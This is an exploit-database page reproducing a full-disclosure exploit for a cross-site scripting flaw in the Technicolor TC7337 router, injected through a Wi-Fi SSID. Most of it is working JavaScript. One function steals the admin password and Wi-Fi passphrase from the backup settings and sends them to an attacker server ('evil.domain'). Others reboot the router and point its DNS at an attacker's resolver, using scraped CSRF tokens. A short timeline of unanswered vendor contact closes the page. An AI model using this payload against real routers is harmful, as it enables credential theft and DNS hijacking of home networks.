Advertisement






Technicolor TC7337 Cross Site Scripting

CVE Category Price Severity
N/A CWE-79 $1000 High
Author Risk Exploitation Type Date
Unknown High Remote 2017-08-03
CPE PURL
cpe:cpe:/h:technicolor:tc7337 pkg:https://exploitalert.com/view-details/technicolor-tc7337-cross-site-scripting
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017080021

Below is a copy:

Technicolor TC7337 Cross Site Scripting// Device : Technicolor TC7337
// Vulnerable URL : https://your.rou.ter.ip/wlscanresults.html
// XSS through SSID : '><script src=//url.co></script>   ( Exactly 32
bytes u_u )
//                             ^
//  5char domains are running  |    'src' does not requires quotes ,
and passing the URL with ony '//'
//  out, grab yours !          +---> it will cause the browser to make
the request with the current protocol,
//                                   which is HTTP , duh
// Below is the content of url.co/index.html
// index.html ( which is just a JavaScript actually, but we have to
use the index to fit the 32 chars ) :

function get_passwords(attackers_server) {
	// attackers_server = server to send the credentials
	// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	// XSS to get Admin's login/passwd + Wifi passphrase
	// from backup settings

	xmlhttp=new XMLHttpRequest();
	xmlhttp.open("GET", "/backupsettings.cmd", false); // GET the Backup XML
	xmlhttp.send();
	var k = xmlhttp.responseText.indexOf("Admin") ; // Search for Admin's
Login and Password
	var y = xmlhttp.responseText.indexOf("KeyPassphrase") ; // Search for
Wifi PassPhrase
	// Add a img requesting the attacker website with the leaked
passwords in the GET parameters
	document.write('<img src="'+attackers_server+'?net='+
encodeURIComponent(xmlhttp.responseText.slice(k,k+100)+xmlhttp.responseText.slice(y,y+80))+'">');
}

function reboot_router() {
	// XSS + CSRF reboot router
	// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	// Why? Because It's fun to watch a XSS doing 'physical' stuff

	xmlhttp=new XMLHttpRequest();
	xmlhttp.open("GET", "/resetrouter.html", false); // GET the page of
the reset interface
	xmlhttp.send();
	var w = xmlhttp.responseText.indexOf("Key") ; // Search for the
SessionKey, some sort of CSRF Token
	var sessionKey =
xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex
because the key is inside quotes

	xmlhttp=new XMLHttpRequest();
	xmlhttp.open("GET", "/rebootinfo.cgi?sessionKey="+sessionKey, false);
// Request the reboot page with the CSRF token
	xmlhttp.send();
}

function dns_poisoning(attackers_dns) {
	// attackers_dns = malicious DNS Server
	// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ holy shit
my code is ugly as fuck , sorry world
	// Alter the DNS Config of the Router
	// changing the Primary and Secondary DNS to the attacker's one

	xmlhttp=new XMLHttpRequest();	
	xmlhttp.open("GET", "/rede-dnsv4.html", false); // GET the DNS Config page
	xmlhttp.send();
	var w = xmlhttp.responseText.indexOf("Key") ; // Search for the
SessionKey, some sort of CSRF Token
	var sessionKey =
xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex
because the key is inside quotes
	var i_wanip = xmlhttp.responseText.indexOf("wanip") ;
	var wanip = xmlhttp.responseText.slice(i_wanip,i_wanip+30).match(/'([^']+)'/)[1]
;
	var i_wansubnet = xmlhttp.responseText.indexOf("wansubnet") ;
	var wansubnet =
xmlhttp.responseText.slice(i_wansubnet,i_wansubnet+30).match(/'([^']+)'/)[1]
;
	var i_wangatewayip = xmlhttp.responseText.indexOf("wangatewayip") ;
	var wangatewayip =
xmlhttp.responseText.slice(i_wangatewayip,i_wangatewayip+30).match(/'([^']+)'/)[1]
;

	xmlhttp=new XMLHttpRequest();
	xmlhttp.open("GET",
"/rede-dnsv4.cgi?enblDhcpClnt=0&wanIpAddress="+wanip+"&wanIfName=wanbridge&wanSubnetMask="+wansubnet+"&wanIntfGateway="+wangatewayip+"&dnsPrimary="+attackers_dns+"&dnsSecondary="+attackers_dns+"&sessionKey="+sessionKey,
false);
	xmlhttp.send(); // Send the request to SAVE the Primary and Secondary
DNS with the CSRF Token

	//After saving we need to apply the settings. yeah, fuck logic --'

	//Getting a brand NEW SessionKey
	xmlhttp=new XMLHttpRequest();	
	xmlhttp.open("GET", "/rede-dnsv4.html", false); // GET the DNS Config page
	xmlhttp.send();
	var w = xmlhttp.responseText.indexOf("Key") ; // Search for the
SessionKey, some sort of CSRF Token
	var sessionKey =
xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex
because the key is inside quotes

	xmlhttp=new XMLHttpRequest();	
	xmlhttp.open("GET", "/wandnscfg.cmd?sessionKey="+sessionKey, false);
// GET the apply DNS page
	xmlhttp.send();
}

//Choose your path !
//get_passwords("https://evil.domain/") ;
//reboot_router();
dns_poisoning("1.3.3.7")

// TimeLine
// ---------
// 08/07/2017 - First email sent to the vendor (no answer)
// 16/07/2017 - Second email sent to the vendor (no answer)
// 18/07/2017 - Third email sent to the vendor (no answer)
// 02/08/2017 - Full Disclosure




Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum